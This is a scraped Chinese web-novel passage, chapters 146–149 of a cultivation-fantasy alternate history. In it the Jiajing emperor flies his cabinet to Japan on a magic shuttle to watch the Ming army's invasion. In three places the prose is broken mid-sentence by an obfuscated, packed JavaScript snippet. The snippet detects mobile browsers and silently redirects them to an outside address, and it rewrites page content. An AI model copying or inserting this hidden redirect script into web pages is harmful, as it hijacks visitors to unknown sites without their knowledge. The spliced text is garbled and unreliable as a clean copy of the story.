这两个字他说的轻飘飘的。但听在众人耳中,却有一股无形的肃杀之意。 不过这一次,不论是张居正还是高拱,都没有觉得严嵩的做法有什么不对。 原本他们就想着要灭掉日本,将一国之地当作是灵田,为大明仙朝培养灵物资源。 此外,日本还有丰富的金银,这些都是大明需要的,随着土地改制的第二、三、四阶段的开启,大明需要用钱的地方还多着呢。 早点灭掉日本,早点把一国之资源拿到手,也好尽快用于大明。 现在的大明,求的就是一个快速,至于高拱、张居正等人想要的就更快了。 毕竟他们这些人还没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669363|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有得到仙法呢,家里空有灵田能有什么用? 而他们想要得到仙法的唯一 途径,就是在政绩上,做出贡献,得到皇上的嘉奖。 所以张居正、高拱二人比谁都要急。在二人看来,整个内阁如今就是他们三人了,嗯,二人还不知道的是,赵贞吉已经得到了仙法。 “既如此,那便开战吧。”嘉靖语气平静道。 其实他也想知道,大明开辟海外疆土之后,本命中的具体变化会怎样。 虽然他通过‘帝经’已经知道了王朝作本命时开辟疆域,可以通过帝玺敕封。 之后在本命之外,会出现新的本命,但具体的还要切实经历过才能明白。 “是!”以大明现在的国力,攻伐一个弹丸之地,根本不费吹灰之力。 众人下去准备后,嘉靖招来了陆炳。 “年底,大明会肃清日本,仙武卫可能上场?”嘉靖也不废话,直接询问起来。 既然是国战,可不能马虎了,战前的准备,还有横渡海面可能遇到的问题。这些时间算下来,怕是要一年时间才能准备好。 当然,这些嘉靖也都考虑到了,届时丹药什么的也会准备充足,以供将士们克服海上路途中,会出现的各种水土不服的问题。 而此在期间,翔云岛、龙鳞岛,则由毛海峰和徐元亮等人撑着,况且织田信长等人要清除日本境内的大明势力,也会消耗很长时间。 在彻底清除内部不稳定因素之前,他们也不会蠢到对龙鳞岛和翔云岛动手。 只是他们不知道的是,自己内部早已经出现了叛徒,已经暗中与大明达成了交易。 而大明,要的就是这一年的时间,那时就是大军登陆日本岛,肃清的事后。 “回皇上,一年时间,臣保证他们都能突破到后天一重境界!”陆炳在听完吕芳讲述,朝廷打算一年后,肃清日本后,立刻表态。 毕竟最好的练兵场,就是战场! 大明仙武卫,是未来大明仙朝的主力军,好不容易有上战场的机会,自然是不能错过的。 “你炼制的丹药多给仙武卫拨一些。”嘉靖看向吕芳,吩咐道。 “是。”吕芳躬身答应下来。 接下来的时间,大明内部依旧忙着土地改制以及钱币八策的施行,完成货币体系变法。 而内阁也开始调度六部,同时将命令下达到浙直总督胡宗宪,调兵往宁波府。 身为宁波府知府的海瑞,自然也收到了内阁要在年底,肃清日本的命令。 宁波府,知府衙门后堂。 这一次,裕王府詹事王用汲,还有新上任的监察御史,再次被派往了海瑞身边。 一如当初定海县查案一样,海瑞身边,再次安插上了清流和严党一脉的人。 毕竟宁波府是东南沿海,最重要的战略部署地之一,现如今大军集结到宁波府,这里必须要有双方都信得过,靠得住的人坐镇才行。 不过这一次不存在两派之争,而是一致对外发动战争,海瑞倒也不用担心双方会闹事。 现如今的大明格局,就是内部争斗可以,但最终结果,必须是大明获利的,否则到时候皇上的雷霆之怒降下,清流和严党都受不了。 后堂,书房。 “刚峰兄,这次你似乎没有什么话好说?”王用汲喝了一口灵茶,笑着道。 不错,海瑞身边也是有灵茶供应的。来源?当然是嘉靖赏赐的了。 甚至就连宁波府知府衙门后院,都有一块灵田,至于仙法什么的,海瑞自然也没少。 毕竟未来海瑞要很长一段时间,坐镇宁波府,专门应对海外的一切事宜。 嘉靖自然不会真的把他闲置在这里,让这把剑真的生锈,最后折了。 “朝廷要发展仙朝,自然就避免不了要对外扩张,”海瑞放下茶盏,“况且都是为了大明好,我有什么好说的?” “刚峰兄不觉得,图谋他国疆域,是不对的事?”王用汲惊讶海瑞的理所应当。 “明受,你把我当什么人了?”海瑞颇为不满的看着王用汲,道:“食君俸禄,为君分忧,报效朝廷,这是为人臣子的本分,难道在你心里,我海瑞就是一个迂腐不化之辈不成?” “哈哈,”看着好友这一副不满的模样,王用汲先是一愣,继而哈哈大笑,“是我小瞧了刚峰兄,我认罚,我认罚,哈哈……” “不过话说回来,”笑声停止后,王用汲又跟着道:“等到日本肃清之后,刚峰兄你的好日子,怕也要到头了,日本是二位殿下看上的。” “同时还有严党和清流也在盯着。” “日后避免不了中饱私囊,你坐镇宁波府,等同于是上监清流,下察严党……”王用汲说着,轻摇了摇头,道:“太得罪人了。” 说着,又像是想到了什么,道:“未来,朝廷的新贵怕是那些‘武勋’了。” “而坐镇整个浙直的又是严阁老的学生,胡宗宪,胡部堂。”说着,王用汲沉声道:“刚峰兄,听我一句劝,切勿得罪了!” “宁波府虽好,在皇上心里的地位,你更是丝毫不在阁内诸老之下,但终究不是京城。” “仙朝发展,必然是要从上层开始,向下铺开的,能调回京城,还是要调回来的。” 听 着好友这一番交心之言,海瑞沉默片刻后点了点头,以茶代水道: “明受,请。” 大明土地改制、钱币变法,备战日本,如火如荼如的进行着的同时,嘉靖再次进了修仙世界,不过这一次是去搬运物资。 他如今的修为已经突破到了筑基,在相对安全的东南这一片地域来说也不算太差。 毕竟一些炼气期的散修也到处闲逛,何况嘉靖还是大明仙宗的长老,更是无人敢惹。 随着商道航线的开辟,刘权也越来越忙,这次嘉靖回来,依旧没有看到他的身影。 听宋薪柴说,东南城周围也开辟了野市,他要帮助独孤家族,在那边站稳脚跟,同时还要奔走,联系东南城附近的宗门,和散修势力。 毕竟,商道航线开辟了,但还要有大量的‘客户’才能赚钱,嘉靖闭关不出,掌门去了中原,左护法闭关,右护法被杀。 这些担子,终究还是压在了他身上。 从宋薪柴处领取了五十万两的灵源后,嘉靖去了四方城一趟,在‘大璇梭行’花了二十万,购买了一艘运输型飞梭。 之后又购买了五行属性的,高阶攻击符符箓各五张,以及一些丹药,以及一些‘阵法’和‘炼器’方面的书籍。 之后,便开始在大荒一些地域开始游历,找寻合适的灵气福地,将本命拆开,深埋地底,为大明那边打通灵气。 毕竟,大明仙宗的灵脉虽好,但要是把一整个大明放上去“吸”的话,迟早被发现。 像是批给严嵩,用来豢养‘灵兽’的‘灵土’就没必要放在灵脉上,这太浪费了。如今的大明,还是要紧着人修炼才是。 时间匆匆,来到嘉靖四十三年,十二月廿六,大明在东南已经集结大军完毕。而嘉靖,也在前一日,返回了大明。 深夜,大雪纷纷。 玉熙宫后的广场上。 裕王、景王,还有内阁、司礼监众人,全部到齐。 众人都不知道,皇上深夜让他们入宫要干什么,一个个心中猜测不断。 不过只有站在门口台阶上的吕芳明白皇上要干什么,虽然一言不发,却是下意识的朝着天穹看去。 因为他知道,就在众人头顶上面,此刻正停着一艘巨大的仙家法宝——飞梭! 皇上要带内阁和司礼监众人亲赴海外,俯瞰大明朝的第一场国战! “……” 第一百四十七章 不羡长江之无穷,不叹人生之须臾! 嘉靖四十三年,十二月廿八,卯时初刻。 “爹,皇上这天还没亮,将我们叫来,所为何事?”严世蕃凑在老爹身边问道。 一年时间,严嵩、严世蕃和徐阶等人已经开始修炼‘引气诀’,身体也越发的健朗。 当然还有一个暗戳戳修炼,打算在未来某一天,悄悄惊艳所有人的赵贞吉。 所以,即便是深夜大雪天,被叫到玉熙宫外站着,众人依旧没有感到太过寒冷。 听到严世蕃的问话,严嵩看了看吕芳,也跟着下意识的朝着头顶看去,不过入目看到的只是黑漆漆一片的夜空,什么都没有。 其他人自然也有看到吕芳动作的,也都不时的朝着头顶瞟一眼,可惜也什么都没有。 “嘎吱。”这时,玉熙宫的大门打开,下一刻就见一袭白衣道袍的嘉靖走了出来。 “臣等(儿臣)叩见皇上,皇上圣躬安。”看到嘉靖出现,众人纷纷下跪。 “起来吧,” 嘉靖轻轻一摆手,跟着众人就发现自己的身体被一股灵气托起。 “可知道朕深夜叫尔等前来,所为何事?”嘉靖背着手,面露笑容的看着众人。 “这,”被嘉靖这么一问,内阁和司礼监众人都不由的一愣,不过既然皇上开口问了,他们自然是要给面子的,严嵩当先拱手,道: “莫非是日本那边有变?” 听到严嵩这么说,众人也都心中一紧,下意识的朝着嘉靖看来。 毕竟按照内阁的命令,一年时间,翔云岛和龙鳞岛上,大明的大军已经开始陆续登上。 而龙鳞岛上亲自坐镇之人,更是有着对倭作战丰富经验的唐顺之和胡宗宪。 至于日本境内,一年时间,随着四大家族彻底罢手言和,清除境内大明的棋子,整个日本东西两部,此时都已经陷入了内乱之中。 当然,日本境内的棋子都不过是严党和清流故意留下吸引注意力,目的就是为了牵制四大家族,给大军争取登岛的时间。 再加上四大家族内部,还有今川氏真跟德川宗右卫门这两个叛徒,随时传递着消息,跟大明里应外合。 一年时间,龙鳞岛的藤原海太郎,也就是毛海峰,和翔云岛的北条风翔,徐元亮,此时已经撤离了两岛,改为唐顺之和胡宗宪坐镇。 一个多月前,东南传回来消息,万事俱备,随时可以大举登陆日本,完成肃清,对此内阁自然也不废话,直接下令开战。 因此,嘉靖深夜把众人叫来,严嵩这才会往海外国战之上想。 虽说日本在众人眼中不过是区区弹丸之地,可对大明来说,终究是第一次国战。 嗯,还不是普通的国战,而是真正的灭国之战! 所以内阁众人还是很在意的。 毕竟这次的国战,对日后海外作战,有着非同一般的意义,很多经验总结都能用得上。 “呵,”迎着众人的目光,嘉靖轻笑,也不再让众人猜,只是道:“诸卿可知晓,那九天之上,是何等风景?” 原本正紧张的众人,听到嘉靖这么一说,都是一愣,继而像是想到了什么,一个个瞪大着眼,看向嘉靖的同时,呼吸也不由略急。 莫非,皇上要带他们去往那九霄之上?! 见众人如此,嘉靖也不再卖关子,大手一挥,神识勾动云层之上悬浮的飞梭。 “轰隆隆。”下一刻,众人就看到漆黑一片的夜空中,似乎是有什么亮光闪烁,伴随着的,还有阵阵轰鸣之声。 “嘶!”突然,当看清楚头顶之上的东西后,所有人都不由得倒吸了一口凉气。 嘉靖的目光也朝着天穹看去。 一艘金红相间,梭体外层用特殊的红色玉质材料制作而成,饰以金色朱雀图案的飞梭落下。 梭身上隐隐有道道金色的流光浮动。梭体的前端,则是一只玉质的,展翅翱翔的红色浴火朱雀,尾部则是一对轻盈的翅膀状装饰。 让整个梭体,看起来就像是一只展翅翱翔的朱雀神鸟一般。 周围围绕着一圈低矮的木栏杆,木栏杆上镶嵌有红色的宝石。宝石上散发出道道能量,将整个甲板裹住,形成一个阻挡罡风的能量护罩。 朱雀丙火戊土梭,这就是嘉靖花了二十万灵源,购买的运输型飞梭。 此梭整体重两百石,长二十五丈,宽十二丈,全速行驶下,两千八百里/时辰。 按照‘大璇梭行’的介绍,此梭是按照朱雀丙火乙木梭作为参照打造而成的。毕竟当年朱雀丙火乙木梭出问题,事情闹得挺大。 所以‘大旋梭行’就打造了,五行属性更为合理的朱雀丙火戊土梭,为自家设计挽尊。 丙火为阳,戊土为阳,火生土,土能蓄火,象征着热情与包容,犹如一对挚友在红尘中携手同行,共赴盛宴。 梭体以火灵阵为基,内置戊土凝固法阵,外覆赤炎金鳞,内藏暖土室,火能催动土,土能承载火,形成天然的热力循环,使乘者如坐春风。 这是嘉靖专门买来,当做是日后大明的战略武器使用的。 轰鸣声中,飞梭破开云层缓缓落下。 当然,皇宫西苑中出现这等异象,自 然是瞒不了那些当值的太监,不过有本命当做遮掩,皇宫西苑附近的任何人都看不到就是了。 整个大明,都由嘉靖操控,这可比任何迷踪阵之类的阵法要实用的多了。 “这,这好像是个梭子……”严嵩看着头顶悬浮的巨大飞梭,老眼中有惊异之色浮动,这是他第一次见识此等震撼人心的仙家之物。 当然,其他人此刻的表现也不比他好多少。 “此物,名为朱雀丙火戊土梭,重两百石,长二十五丈,宽十二丈,全速为两千八百里每时辰!”嘉靖看着众人,笑着介绍道。 “全速两千八百里每时辰!” 听到嘉靖的介绍,饶是老神在在,喜怒不形于色的徐阶,此刻也是面色微微一变。 “不知陛下,从京城到日本,距离是多少?”这时,高拱突然开口。 大明境内的一些地域路程他们知道个大概,但大明到日本,中间还隔着一片海,具体距离是多少,那他就不知道了。 “从大明京城到日本……”嘉靖说着,语气微微一顿,而后摇头道:“这,朕就不知了。” 北京到日本多少距离这点,嘉靖确实不知道,虽然他有后世二十几年的人生经历,但也不是什么都知道的。 “不过诸卿可随朕亲赴前线一趟,亲自感受一番,自然就明了距离多远了……” 嘉靖说着,袖袍陡然一甩,灵气裹挟着所有人,一步踏出,再次出现的时候,已经来到飞梭之上。 “这,这是,登天了!?” 看着下方整个皇宫西苑,陈洪发出一声惊呼。 陡然间站在天上,俯瞰大地,此刻失态的,可不光是陈洪一人,就连吕芳,也是有些心惊肉跳,不过很快他便又稳重了下来。 他现在可是练气一层的修士,自然不会表现的像是凡人那般不堪。 突然从地面出现在天穹之上,俯瞰着下方渺小的大地,皇宫,还有远处被风雪笼罩的京城,饶是严嵩也无法保持淡定了。 虽然被严世蕃扶着,但双手却死死抓着严世蕃的胳膊,俯瞰着脚下大地。 这一刻,所有人都被震惊的无以复加! 他们从未想过有朝一日,可以飞到天上,俯瞰整个大地,即便已经具备被敕封了仙官官身,有些人更是被赐下了仙法。 比如裕王、景王、严嵩、徐阶等人。 可飞天,对于他们来说,依旧是想都不敢想的存在。 此刻突然就被带着上天了,这可是神话传说中的仙神,才具备的手段! 如今,他们竟然也可以了! 试问,他们如何能不激动? “走了。”看着依旧处于震撼中,饶是严嵩跟徐阶这些老谋深算的老狐狸,此刻都身体隐隐有些发颤,嘉靖笑了笑,神识催动飞梭。 下一刻,随着一阵轰鸣,飞梭载着众人陡然加速,朝着远处驶去。 一时间,众人只觉得脚下阵阵轰鸣,身体仿佛是要下坠一般,顿时发出惊呼。 不过很快,就都有适应了起来。 飞梭驶入云层,继而冲破云雾,来到云海之上。 而在飞梭驶入云海之上的一瞬间,天地间陡然变得明亮起来。下一刻,众人就被天穹之上,那一轮浩大的明月所吸引了目光。 只见清冷的月光铺泻而下,洒在厚重,波澜壮阔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669364|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的云层上,形成一片深厚的云海。 头顶之上,星河迢迢,闪烁着璀璨光芒。 如此美轮美奂,神奇的一幕,此刻在所有人心中,已然胜过他们生平所见最美的风景。 一时间,所有人,不管是城府极深的严嵩和徐阶,又或者是内阁以及司礼监的众人。全都目光迷离的看着眼前这一幕。 嘉靖也不唤醒他们,任由他们内心情绪激荡,而后慢慢的,自主的平静下来。 虽然这些人是大明王朝权力巅峰的一群人,但从根本上来讲,他们终究只是凡人。 御空而行,屹立在天穹之上,俯瞰整个人间,这只有传说中的仙人才能做到,而此刻他们竟然也做到了。 这一刻,众人对“仙人”这两个字的含义,也越发的深刻了起来。 “人生数十载,只有今日。方才明白大地之广阔,苍穹之浩瀚啊……”终于,第一个反应过来的严嵩不由得发出一声感慨。 “寄蜉蝣于天地,渺沧海之一粟。哀吾生之须臾,羡长江之无穷。挟飞仙以遨游,抱明月而长终。知不可乎骤,托遗响于悲风注……”徐阶以手抚须,绘声绘色道: “此时此刻,我才真正体会到,东坡居士当年心中,是何等的期待与感慨。” 这时,张居正望着远处一望无垠的云海,还有那仿佛,悬挂在天边的明月,也不由得跟着感慨道:“但,我们又是幸运的!” “东坡居士将自己比作蜉蝣之渺小,我等于这天地广阔来说,何尝不是如此?” “但我们得皇上垂怜,踏上仙途,更有位列仙班的资格,我等生命已不在须臾之间!”张居正说着,声音逐渐大了起来。 “我等不必哀叹生命之短暂无常,亦不必羡慕长江水之无穷尽。” “皇上就是仙人,我等携手皇上,遨游四方,这 大明明月的风景,我等可永远怀抱!” “好!太岳所言,老夫深以为然!”随着张居正话音落下,高拱也跟着大声喝道。 其他人亦是连连点头。 “这些,都是皇上赐予我等!”这时,小阁老严世蕃心中一动,说话间猛地转身,朝着嘉靖躬身一礼,继而直接跪倒在地,大声道: “谢吾主隆恩,让臣等超脱于蚍蜉之桎梏,不必哀叹生命之须臾,亦不必羡慕于天地不老,是皇上,是帝君,让臣等可永远怀抱明月!” “此等恩情,臣,永远也偿还不完!” 严世蕃一番话说完,整个人面色涨红,浑身上下,仿佛都有热血沸腾一般。 其他人看着如此激动的严世蕃,虽然心中不耻此贼的阿谀奉承,却也明白这些都是真的。 于是,包括严嵩在内的所有人,齐齐的对着嘉靖跪了下去,大声道:“谢,主隆恩!” 皓月之下,云海之上,众人跪伏在嘉靖脚下,大声道谢。 “都起来吧。”一袭白衣道袍的嘉靖,立于甲板之上,月下他负手而立,宛若谪仙。 “这是我大明的明月,”嘉靖抬头看向天穹之上那硕大的明月,道:“月光所照之下,也应当为我大明疆土!” “今日,朕带尔等御空飞行,遍览九州万方,就是要尔等记住,这九州万方,滚滚山河,都需要我等君臣协力,才能更好!” “臣等明白!”听到这番话,所有人肃然道:“臣等定不负皇上所望!” “好,”嘉靖收敛情绪,淡淡一笑,面容微宽道:“朕对尔等自是相信的。” “不过此行,我们最重要的还是前去日本,观看我大明朝的第一次国战!” 说完,嘉靖大手一挥,面前出现一个香炉,上面一支香已经点燃,同时看向吕芳,道: “接下来,飞梭会全速前进,你做好时间记录,看看从京城,到日本要多久。” 说完,将一把香递给了吕芳。 闻言,众人也都看向那香炉,想看看飞梭全速赶路时,多久可以抵达日本。届时,就能知晓,京师到日本总计多少里路。 “轰!”飞梭轰鸣,全速前进,众人可以清楚的看到在头顶甲板上,一层淡红色透明光罩将他们保护在其中。 因为速度过快,云雾附着在光罩之上,像是水流一般,看的众人又是啧啧称奇。 “……” 第一百四十八章 知微术,登岛,国战开始,碾压之战! 时间飞速流逝。 待众人欣赏够了云海之上的美景后,嘉靖便带着众人进入了飞梭的舱体之中。此时,舱体之中,早已有一张巨大的长桌准备。 而在舱体两侧,都是灵气光罩包裹,巨大的明亮的窗户,倒是丝毫不影响众人观看外界的风景。 一众人分主次落座后,所有人的目光都放在了案桌中间那个香炉之上。 他们对这飞梭,充满了好奇。 更想知道,从京城到日本,到底有多远的距离。 而以此仙家法宝的速度,又能耗时几何? 时间推移,香炉上的那一炷香换了又换,足足换了六炷香后,嘉靖的神识从下方收回。 虽然他的神识,极限长度是三百丈,而飞梭行驶的高度是在低云层之上,距离地面三百六十丈,但六十丈的距离足够他看清楚日本的地形。 “轰隆隆。”神识控制着飞梭放缓速度,嘉靖看着第六炷香灭烬,抬手阻止吕芳后,在众人的注视下,开口,“到了。” 此时舱体外,远处天际有金色的流光照射进来,行驶在云层之上,天色很快大亮。 “一炷香是,小半个时辰。”这时,张居正开口道:“六炷香,便是一个半时辰,两刻出头一些,我们出发的时候约莫是卯时初刻……” “距离天亮也就一个半时辰,”说着,张居正深吸一口气,道:“时间对的上。” “飞梭全速为两千八百里每个时辰,那么从京城出发,到日本距离是四千多里路程!” “不错,太岳不愧自幼就是神通。”赵贞吉笑着夸赞道。 “四千多里,用后世的算法,就是两千多公里吗?”嘉靖心中也有了然,同时也暗暗决定,日后可以给大明的计量单位再做个细化。 “接下来,我们便看看,我大明朝的第一次国战,我军将士,表现如何。”说着,嘉靖率先走了出去,来到了甲板上。 飞梭再怎么说,也是距离地面三百六十丈的高度,嘉靖自然不会就这么让众人俯瞰了。 一抬手间,众人面前出现一口巨大的水缸。然后嘉靖便在众人的目光注视下,抬手间一张小瞧的透明符箓被他夹在指间。 随着灵气注入符箓,下一刻嘉靖一甩手,符箓化作一道透明的流光没入水缸之中,继而化作一条巴掌大小的透明小鱼。 “哗啦!”只见小鱼在水缸之中一摆尾,跟着竟是直接从中跳跃而出,然后直冲天际而下。 看到这一幕,众人赶忙来到围栏处,朝着那只透明状的小鱼看去。 “啾!”然而下一刻,令所有人震撼的一幕出现了,只见那小鱼在冲到云层的一瞬间,跟着又陡然停下,而后朝着天穹俯冲而上。 随着一声怪异的吼叫声响起,跟着就见一只比刚才那小鱼大了不知多少倍,像是一座小山一样的巨大“鲸鱼”在所有人面前游过。 “这,这是……”小阁老严世蕃看到这一幕,指着那‘鲸鱼’大声道: “鲲,是鲲!” 其他人也被这一幕所震撼,瞪大着双眸,不由自主的抽着凉气。 “庄子逍遥游中说过,北冥有鱼,其名为鲲。鲲之大,不知其几千里也; 化而为鸟,其名为鹏。鹏之背,不知其几千里也;怒而飞,其翼若垂天之云。是鸟也……”张居正快速背了一段‘逍遥游’,道: “东南,曾有渔民出海捕鱼时,在雷电交加之时,看到海面上有大山起伏于波涛汹涌之中,有人说那是仙山,也有说是海怪。” “每每出现,伴随有牛吼虎啸一般的怪异风雷之声。也有人将那怪物的画像画出来,猜测此物极有可能便是庄周在逍遥游当中写到的鲲。” 张居正语速奇快,说完后看向负手而立,宛若谪仙一般,凝视着云海上翻腾游荡的‘鲲’的嘉靖,“皇上,莫非,莫非……” “眼前之物,便是那上古神兽,鲲?!” 大明其实有渔民出海捕鱼的时候,见过海中的鲸鱼的,不过都被形容成海怪,或者是什么海神,又或者是传说中的神兽鲲。 “也可以这么理解,不过它不是真的‘鲲’,”在大明,百姓就是把鲸鱼当鲲的,所以嘉靖并不否认,“它只是一道傀儡符。” “此术名为‘知微术’,乃是一种只有修为达到筑基期,配合神识,加以‘傀儡符’,可以看到千里之外景象的术法。” “嗷!”这时,只见那傀儡符化作的鲸鱼发出一声啼鸣,然后摆尾游荡到飞梭前。 看着面前,巨大无比的神兽,所有人身体都是猛的一颤,唯独嘉靖一只手负于身后,另一只手大袖甩动,灵气爆发,直接将那鲸鱼掀飞。 “轰!”下一刻,鲸鱼陡然爆开,化作满天的大雨,落入下方整个日本岛、翔云岛和龙鳞岛之中。 众人见嘉靖挥手间将如此怪物掀飞出去,直接打爆,都是被这股伟力所深深震撼。 当然他们不知道的是这傀儡符原本就是如此用的,嘉靖只是用神识将其激活而已。 “尔等来此观看。”说着,嘉靖来到水缸前,众人只见他的手掌在水面轻轻一抹,下一刻水面波纹荡起,竟化作一副景象。 “ 这,这是,日本,龙鳞岛、翔云岛?!”高拱看着如此神奇一幕,当即惊讶出声。 “再看。”嘉靖手掌再次拂过,只见画面呈现出龙鳞岛上,一座临时搭建的行辕之中的景象来。而此时行辕之中,出现了几道熟悉的身影。 “汝贞!?”严嵩看到那坐在堂上,身穿盔甲,不怒自威的五旬老者,发出轻呼。 胡宗宪,身形魁梧高大,但却显得匀称,面容刚毅中,此时正满面肃容之色。 而在他下手位置上,正坐着几道人影。 “戚继光!”胡宗宪开始点将。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669365|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “末将在!”戚继光,身材高大,健硕,身穿金色的盔甲,整个人看起来不怒自威。 戚继光今年不过三十五岁,但身上却有着一股常年战场厮杀的老成,炯炯有神的眸子里,隐隐间,有血丝浮动,形成一股杀意。 “命你部率两万精兵,从东北方向,正面登岛!”胡宗宪严肃道。 “是!” “俞大猷!”胡宗宪又开口。 “末将在!”相比于今年只有三十五岁的戚继光,俞大猷则年龄大的多了。 他今年已有六十岁,须发皆白。 不过身上那股肃杀之气,让他不但没有半分的垂垂老矣之相,反而相比年轻的戚继光,看起来还要凶横。 “命你与副将各率五千精兵,从两侧干扰,确保戚继光部顺利登岛。” “是!” “其余将领!”胡宗宪说着,站起身看向众人,沉声道: “这次攻伐日本,只因此族常年侵扰我大明东南沿海地区,烧杀掳掠,欺我百姓。” “得朝廷相助,却又背信弃义,撕毁盟约,所谓是可忍孰不可忍!今日,我等就要此族知晓,什么叫王者之师,不可欺!” “一举荡平日本!” “一举荡平日本,一举荡平日本!”一时间,行辕中,群将激愤。 “好,听我命令,所有人立刻集结兵力,时辰一到,即刻登岛!” “是!” 另外一边,龙鳞岛上,唐顺之同样对麾下部众,下达了同一个命令。 而他麾下的部众,也都是上次对蒙古俺答的精锐,比如王崇古,当然还有一年前就被从宁夏,抽调到宁波府的马芳! 一个王崇古,一个马芳,都是身经百战的老将。 “诸位,时间一到,即刻登岛,荡平日本!” “是!”随着众人的声音落下,一年时间内,被抽调到龙鳞岛和翔云岛的精锐将领,纷纷离去,开始集结大军。 转眼间天际已经大亮。 而此时,龙鳞岛和翔云岛分别有数艘庞大的战船驶出,朝着日本岛而去。 两座岛屿距离日本海岸并不远,不到半个时辰便抵达边境,而边境上四大家族,集结的大军已经严阵以待。 而为首的正是武田信玄、织田信长、丰臣秀吉,德川家康等三大家族的首领,和他们的家臣。 至于他们身后的大军,总数不过四万人! 这是他们所能调集的全部人了,这一年时间里,日本境内势力在大明的暗中之下激烈反扑,也让他们伤亡惨重,元气大伤。 当发现大明开始向龙鳞岛和翔云岛调兵的时候,丰臣秀吉就已经发现不对了。 可内部战场已经将他拖死,根本顾不上二岛,只能眼睁睁的看着这一切。 双方兵力悬殊,这是一场碾压之战! “……” 第一百四十九章 荡平日本,群臣惊惧! “啧,这些倭人,竟然把兵力集中在了一处!”海面上,戚继光身旁的俞大猷,收回手里的单筒望远镜,沉声道。 闻言,戚继光也放下手里的望远镜,“看来,这些倭人,也是懂点兵法的,他们知道,跟我们大明拼兵力行不通,干脆就汇聚一处。” “希望唐顺之他们进攻东部,可以顺利。”说完,戚继光直接俞大猷道:“俞将军,就按照胡部堂的部署,我再给你一万精锐。” “你带着副将,总共是两万人,从左右两侧冲杀过去,将这些倭人的阵线撕开。我带剩下的人,正面冲杀,分三段绞杀敌军!” “好!”俞大猷也不托大。 对付这些人倭人,他很想说,根本用不到那么多兵力,只给他左右两翼各五千精锐即可,不过考虑到这一战,意义重大,由不得马虎。 毕竟,这是大明第一次国战,一切求稳! 这一战,更是事关大明第一次海外灭国之战,只许胜,不许有任何的差池。 “开炮!”几乎是在大明战船靠近海岸的第一时间,织田信长便下达了开炮的命令。 “轰,轰,轰!”一发发冲天的黑色长焰,划过天际,呼啸着冲向大明战船所在的海域,对于这一点,戚继光自然是早有预料。 在靠近到一定距离后,顿时下令,顿时号角吹响,跟着大明战船上的火炮也跟着轰出。 嘉靖四十三年,相比于大明的火炮技术,日本可以说是远远落后。 其中最主要的原因,自然是因为大明东南沿海,随着改稻为桑的国策施行,同时对海外商人售卖丝绸,以及茶叶等物价的提高。 导致大明跟海外诸国的交易也变得越来越难,如此一来,双方为了贸易上的便利,便开始采用一些技术进行折算交易。 其中就有来自荷兰和葡萄牙的更为先进的火炮技术,胡宗宪见识到葡萄牙和荷兰商人,带来的火炮技术的强大,便第一时间给严嵩去了信。 只能说,不愧是胡宗宪,早早的便认识到了这些海外诸国在军事上的优点。 “于是,”此时,天穹之上,观看着下方双方火炮对轰场面的严嵩,温吞道:“汝贞便提议,是否可以用一些火器冶炼技术折算。” 说完,严嵩对着嘉靖拱了拱手,道:“当时皇上在闭关修炼,臣便暂且压下。” “只是后来,日本织田和武田家族派人前来,希望得到我大明的支持,老臣便意识到,若是继续让海外诸国的火器技术流落日本,恐怕会对我朝不利,于是便答应了下来……” 说着,严嵩语气微微一顿,又跟着道:“大明可以让利给海外诸国,降低丝绸的价格,但有一个附加条件,便是禁止向日本兜售技术。” “此事,还请皇上恕微臣擅自做主之罪。” 严嵩这番话,说的很含蓄,很漂亮。说什么什么考虑到会对大明不利,实则就是想要图谋日本,担心以后大明开战有伤亡。 真给大明打下一国之领土倒也罢了,但若是打不下来,还让大明因此而受到损失,可就要他担责了。 不过有些话,并不需要说的太透,意思明白就是了,嘉靖自然也不会怪罪严嵩。 “起来吧,”嘉靖摆摆手,“如今看来,正是因为有严阁老的深谋远虑,戚继光他们才能如此轻松,严阁老不但无罪,还有功呢。” “老臣,谢皇上。”严嵩又是躬身一礼。 高拱,张居正等人懒得看严嵩作秀,而是将目光看向面前的水缸。 “好!”看着下方,被炮火覆盖,大明将士强势登岛后,高拱不由大呼一声。 密集而强大的炮火很快便覆盖了天际。 “轰!轰!轰!”火炮轰来,日本一方的火炮顿时遭到压制,不少人瞬间惨死。 “我们被大明骗了!”看到大明直接强势的用火炮威力撕开了自己一方的火炮防线后,丰臣秀吉眼神阴沉,道:“大明送给我们的火炮,和他们自己使用的,根本不是同一种!” “这种火炮,比我们使用的还要先进!” “现在说这些已经无用,”织田信长看着远处已经冲上岸的大明虎狼之师,抽出腰间的长刀,“就算火炮足够先进,也拦不住!” “丰臣君,战吧!”说完,织田信长大声道:“杀!”说话间,带头冲了过去。 